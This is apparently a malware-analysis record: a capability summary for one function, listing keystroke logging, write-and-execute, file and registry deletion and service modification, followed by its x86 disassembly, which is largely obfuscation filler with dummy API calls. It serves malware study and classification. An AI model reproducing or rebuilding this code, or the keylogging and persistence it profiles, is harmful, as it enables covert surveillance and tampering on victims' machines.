Function at 0x1002a057
Capabilities:
Accept command line arguments
Check os version
Clear file content
Connect pipe
Create directory
Create pipe
Create process on windows
Create thread
Delete file
Delete registry value
Enumerate gui resources
Extract resource via kernel32 functions
Get disk information
Get disk size
Get file attributes
Get geographical location
Get memory capacity
Identify system language via api
Log keystrokes via polling
Modify service
Query environment variable
Query or enumerate registry value
Set registry value
Terminate process
Write and execute a file

Disassembly:
mov eax, 0x10073086
call fcn.10072e10
mov eax, 0x1138
call fcn.1006f6d0
push ebx
mov ebx, dword [sym.imp.GDI32.dll_SetWindowExtEx]
xor eax, eax
push esi
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push edi
mov edi, 0xf9b3198a
mov byte [ebp - 0x85], dl
mov dword [ebp - 0x600], edi
mov dword [ebp - 0x5fc], edi
mov dword [ebp - 0x5f8], edi
mov dword [ebp - 0x5f4], edi
push 3
mov dword [ebp - 0x38], 0xc6f1bf50
pop edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x74], ecx
cmp dword [ebp - 0x38], eax
jl 0x1002a122
mov dword [ebp - 0x14], 0x6dd8d130
mov dword [ebp - 0x14], eax
jmp 0x1002a10b
mov dword [ebp - 0x20], 0xd6923607
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002a0ec
push eax
push 0x626
push 0x315
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
push 3
xor eax, eax
pop edx
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], eax
jl 0x1002a108
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0x600], 0
jne 0x1002a106
dec dword [ebp - 0x20]
jns 0x1002a0f4
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jle 0x1002a0c0
mov eax, dword [ebp - 0x38]
push 0
mov eax, dword [ebp + eax*4 - 0x600]
dec dword [ebp - 0x38]
pop eax
jns 0x1002a0b4
mov dword [ebp - 0x28], 0xc64a6847
xor ecx, ecx
inc ecx
mov dword [ebp - 0x60], 9
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 9
mov dword [ebp - 0x34], 0x80254f8
mov dword [ebp - 0x40], 0x7c525ac8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1002a174
push 4
pop edi
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xbc4], 0x637c1d6b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002a157
xor eax, eax
mov edi, 0xf9b3198a
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002a190
push eax
push 0x17bb
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
xor ecx, ecx
push 3
inc ecx
pop edx
mov dword [ebp - 0x28], 0xffffffe5
cmp dword [ebp - 0x28], 0xfffffff0
jge 0x1002a301
or edi, 0xffffffff
mov dword [ebp - 0x44], 0xfffffffe
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x30], 0x8586fd5d
mov dword [ebp - 0x54], 0x30a4ccfd
mov dword [ebp - 0x18], 0x8112def9
push 0xfffffffffffffffb
pop eax
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], eax
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], eax
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x28]
jne 0x1002a229
mov eax, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0xbb8]
mov eax, dword [ebp - 0x610]
xor eax, eax
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x618]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setg dl
cmp edx, edi
jl 0x1002a214
mov eax, dword [ebp - 0x34]
dec dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0xbb8], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
sub eax, 0x5879
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x28]
test eax, eax
je 0x1002a2b3
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1002a282
push 0x1ff9
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop edx
jmp 0x1002a2ac
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002a2a9
push 0x211e
push 0x24c7
push eax
call dword [sym.imp.USER32.dll_InflateRect]
push 3
xor eax, eax
pop edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jle 0x1002a28a
jmp 0x1002a2ec
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1002a2c7
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop edx
jmp 0x1002a2e7
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002a2e4
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 3
xor eax, eax
pop edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x1002a2cf
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff0
push 1
pop ecx
jl 0x1002a1a4
mov edi, 0xf9b3198a
mov dword [ebp - 0x630], edi
xor eax, eax
mov dword [ebp - 0x62c], edi
mov dword [ebp - 0x628], edi
mov dword [ebp - 0x624], edi
mov dword [ebp - 0x2c], 0xc6f1bf50
mov dword [ebp - 0x40], 0x8b13eca4
push 0xfffffffffffffffb
pop ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x40], 0xfd947597
mov dword [ebp - 0x40], 0x588c
mov dword [ebp - 0x54], 0x6928
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002a367
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf24], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002a353
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002a383
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf84], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002a36f
xor eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002a39b
push eax
push eax
call edi
push 3
xor eax, eax
pop edx
dec dword [ebp - 0x54]
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], eax
jl 0x1002a489
or edi, 0xffffffff
mov dword [ebp - 0x14], 0xb26bdde0
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x14], 6
cmp dword [ebp - 0x14], 0x17
jle 0x1002a411
mov dword [ebp - 0x54], 0xfffffff9
mov dword [ebp - 0x38], 0xd00585b
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0x54]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xe05d
setge al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x1d
jmp 0x1002a400
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x44], eax
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x16
jg 0x1002a3f4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x17
jg 0x1002a3c4
xor eax, eax
mov dword [ebp - 0x14], 0x6dd8d130
mov dword [ebp - 0x14], eax
jmp 0x1002a468
mov dword [ebp - 0x20], 0xd6923607
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002a449
push eax
push 0x626
push 0x315
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
push 3
xor eax, eax
pop edx
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], eax
jl 0x1002a465
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x630], 0
jne 0x1002a463
dec dword [ebp - 0x20]
jns 0x1002a451
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jle 0x1002a41d
mov eax, dword [ebp - 0x2c]
push 0
mov eax, dword [ebp + eax*4 - 0x630]
dec dword [ebp - 0x2c]
pop eax
jns 0x1002a3ad
mov edi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov dword [ebp - 0x1c], 0xfffffff9
mov dword [ebp - 0x30], 0xc3c62ed5
mov dword [ebp - 0x38], 0xfffffff7
mov dword [ebp - 0x2c], 0xd416a781
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x1002a4c5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1c8], 0x65797632
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1002a4ad
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002a658
or edi, 0xffffffff
mov dword [ebp - 0x14], 0xa0734f09
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x44], edi
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x1c8], 0
jne 0x1002a652
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x1c8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x1c8]
mov eax, dword [ebp - 0x1c0]
cmp ecx, eax
mov eax, dword [ebp - 0x1c4]
setge dl
add eax, edx
jne 0x1002a541
cmp dword [ebp - 0x1c], eax
jne 0x1002a543
xor ecx, ecx
mov dword [ebp - 0x48], 0xc48968f2
mov dword [ebp - 0x14], eax
inc ecx
jmp 0x1002a5bb
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002a532
mov dword [ebp - 0x4c], 0x88ca
cmp dword [ebp - 0x1c], eax
je 0x1002a559
cmp dword [ebp - 0x30], eax
jne 0x1002a55c
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1c8]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
sub eax, 0x32de9e5a
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
jle 0x1002a588
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x1002a588
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov dword [ebp - 0x14], 0x28f4e1c
mov eax, dword [ebp - 0x14]
cmp eax, 0x8f1e0c86
setne cl
add ecx, dword [ebp - 0x54]
mov dword [ebp - 0x44], ecx
jmp 0x1002a642
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x42c], 0x42b08f18
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002a5aa
cmp dword [ebp - 0x1c], edi
jne 0x1002a5ff
mov eax, dword [ebp - 0x1c8]
xor edx, edx
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x48]
jge 0x1002a5ff
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1002a5ff
cmp dword [ebp - 0x48], eax
je 0x1002a5ff
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c8]
xor edx, edx
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setne dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x54]
setle cl
xor edx, edx
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 0x9a47fa82
setne al
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
push 3
pop edx
jle 0x1002a4d5
mov edi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov dword [ebp - 0x2c], 2
cmp dword [ebp - 0x2c], 0xfffffff6
jl 0x1002a6b7
xor eax, eax
inc eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x38], edx
cmp dword [ebp - 0x38], 0xfffffff2
jg 0x1002a6ae
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1002a69f
push 0x14e9
push 0x1b4c
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffff2
jle 0x1002a674
xor eax, eax
push 3
inc eax
pop edx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff6
jge 0x1002a668
mov dword [ebp - 0x2c], 0xfffffff8
xor eax, eax
mov dword [ebp - 0x28], 0xfffffff6
xor esi, esi
mov dword [ebp - 0x34], 0x74952f34
inc esi
mov dword [ebp - 0x54], 0x2a77b69c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x1002a6f4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9fc], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1002a6e0
xor eax, eax
mov edx, 0xffff
cmp dword [ebp - 0x2c], eax
je 0x1002a777
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x9fc], ecx
cmp dword [ebp - 0x2c], eax
jne 0x1002a71e
mov eax, dword [ebp - 0x9f8]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], 0xe974
mov eax, dword [ebp - 0x28]
cmp edx, eax
push 0xfffffffffffffffd
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
setge dl
sub ecx, edx
xor edx, edx
cmp eax, ecx
pop eax
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xffffae54
setne cl
sub ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
add eax, dword [ebp - 0x28]
je 0x1002a775
mov eax, esi
jmp 0x1002a777
xor eax, eax
xor edx, edx
cmp eax, 0x68dd2ac3
setge dl
xor ecx, ecx
sub edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1002a7a7
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
xor eax, eax
mov ecx, 0xf9b3198a
mov dword [ebp - 0x660], ecx
mov dword [ebp - 0x65c], ecx
mov dword [ebp - 0x658], ecx
mov dword [ebp - 0x654], ecx
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x30], esi
push 3
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1002a7e9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x218], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002a7d5
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1002a809
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc78], 2
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002a7f1
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002a81f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x478], 0xbc227363
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002a80e
mov eax, dword [ebp - 0x214]
xor ecx, ecx
mov eax, dword [ebp - 0x218]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x210]
cmp eax, 0xa67d
setg cl
cmp ecx, esi
jae 0x1002a850
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1002a850
mov esi, eax
mov eax, dword [ebp - 0x210]
xor edx, edx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 0x54]
sub ecx, eax
cmp ecx, esi
mov dword [ebp - 0xc70], ecx
mov eax, dword [ebp - 0x218]
setge dl
imul edx, eax
xor eax, eax
cmp edx, dword [ebp - 0x218]
jg 0x1002a890
cmp dword [ebp - 0x30], eax
je 0x1002a890
xor esi, esi
inc esi
mov ecx, esi
jmp 0x1002a895
xor esi, esi
mov ecx, eax
inc esi
mov eax, dword [ebp - 0x218]
sub ecx, eax
mov eax, dword [ebp - 0x214]
sub ecx, eax
mov dword [ebp - 0x478], ecx
mov dword [ebp - 0x24], 0xc6f1bf50
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x48], 5
cmp dword [ebp - 0x48], 0xffffffe3
je 0x1002a8f9
xor eax, eax
mov dword [ebp - 0x14], 0xfffffffb
mov dword [ebp - 0x14], eax
jmp 0x1002a8ea
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002a8e7
push 0x1962
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe6
jg 0x1002a8d0
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xffffffe3
jne 0x1002a8c4
mov dword [ebp - 0x30], 0xbe1d925b
xor eax, eax
mov dword [ebp - 0x44], 0x89fff12f
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002a92c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x374], 0xfffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002a914
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002a94c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9dc], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002a934
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002a974
push eax
push 0xba7
push 0xba3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
mov eax, dword [ebp - 0x374]
xor edx, edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x374]
cmp eax, 0xfff6
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x374]
push 3
setne cl
xor edx, edx
cmp ecx, eax
setg dl
xor ecx, ecx
mov dword [ebp - 0x9d8], edx
mov eax, dword [ebp - 0x374]
cmp edx, eax
mov eax, dword [ebp - 0x30]
setne cl
imul eax, ecx
pop edx
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], eax
jl 0x1002add3
mov dword [ebp - 0x48], 0x6dd8d130
mov dword [ebp - 0x40], 0x5bb2
mov dword [ebp - 0x40], 0x4de6f885
mov dword [ebp - 0x40], 0x2f88d967
mov dword [ebp - 0x40], 0x30498d20
mov dword [ebp - 0x40], 0xff8cd3be
mov dword [ebp - 0x40], 0xb6ea
mov dword [ebp - 0x54], 0xaefc518f
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x1002aa29
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1014], 0x2fe22364
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1002aa11
xor eax, eax
inc dword [ebp - 0x54]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], edx
jg 0x1002ad39
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x20], 0xd6923607
mov dword [ebp - 0x28], 0xc64a6847
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x34], 0x80254f8
mov dword [ebp - 0x40], 0x7c525ac8
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002aa80
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xba4], 0x637c1d6b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002aa68
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002aa99
push eax
push 0x17bb
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
push 3
pop edx
mov dword [ebp - 0x28], 0xffffffe5
cmp dword [ebp - 0x28], 0xfffffff0
jge 0x1002ac08
or edi, 0xffffffff
mov dword [ebp - 0x44], 0xfffffffe
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x30], 0x8586fd5d
mov dword [ebp - 0x54], 0x30a4ccfd
mov dword [ebp - 0x18], 0x8112def9
push 0xfffffffffffffffb
pop eax
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], eax
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], eax
mov dword [ebp - 0x50], esi
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x28]
jne 0x1002ab32
mov eax, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0xb98]
mov eax, dword [ebp - 0x640]
xor eax, eax
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x648]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setg dl
cmp edx, edi
jl 0x1002ab1d
mov eax, dword [ebp - 0x34]
dec dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0xb98], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
sub eax, 0x5879
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x28]
test eax, eax
je 0x1002abbc
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1002ab8b
push 0x1ff9
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop edx
jmp 0x1002abb5
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002abb2
push 0x211e
push 0x24c7
push eax
call dword [sym.imp.USER32.dll_InflateRect]
push 3
xor eax, eax
pop edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jle 0x1002ab93
jmp 0x1002abf5
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1002abd0
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop edx
jmp 0x1002abf0
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002abed
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 3
xor eax, eax
pop edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x1002abd8
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff0
jl 0x1002aaad
mov edi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1002aca9
mov dword [ebp - 0x40], 0x8b13eca4
push 0xfffffffffffffffb
pop ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x40], 0xfd947597
mov dword [ebp - 0x40], 0x588c
mov dword [ebp - 0x54], 0x6928
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002ac5b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf9c], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002ac47
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002ac77
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x102c], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002ac63
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002ac86
push eax
push eax
call edi
xor eax, eax
dec dword [ebp - 0x54]
push eax
push 0x626
push 0x315
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
push 3
xor eax, eax
pop edx
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], eax
jl 0x1002ad2a
or edi, 0xffffffff
mov dword [ebp - 0x14], 0xb26bdde0
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x14], 6
jmp 0x1002ad0c
mov dword [ebp - 0x54], 0xfffffff9
mov dword [ebp - 0x38], 0xd00585b
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0x54]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xe05d
setge al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x1d
jmp 0x1002ad03
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x44], eax
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x16
jg 0x1002acf7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x17
jg 0x1002acc7
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x660], 0
jne 0x1002ad24
dec dword [ebp - 0x20]
jns 0x1002acb4
mov edi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
inc dword [ebp - 0x48]
push 0
pop eax
cmp dword [ebp - 0x48], edx
jle 0x1002aa38
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002ad5e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x580], 0x75c9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002ad45
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002adb5
mov dword [ebp - 0x14], 0xfffffff9
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x580]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x580], ecx
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002adad
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002ad98
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002adaa
push eax
call dword [sym.imp.USER32.dll_CharNextW]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x1002ad85
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jle 0x1002ad63
mov eax, dword [ebp - 0x24]
push 0
mov eax, dword [ebp + eax*4 - 0x660]
dec dword [ebp - 0x24]
pop eax
push 3
pop edx
jns 0x1002a9d1
or ecx, 0xffffffff
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002adfb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2c0], 0x6af1124f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002ade2
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002ae0d
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
mov dword [ebp - 0x2c0], eax
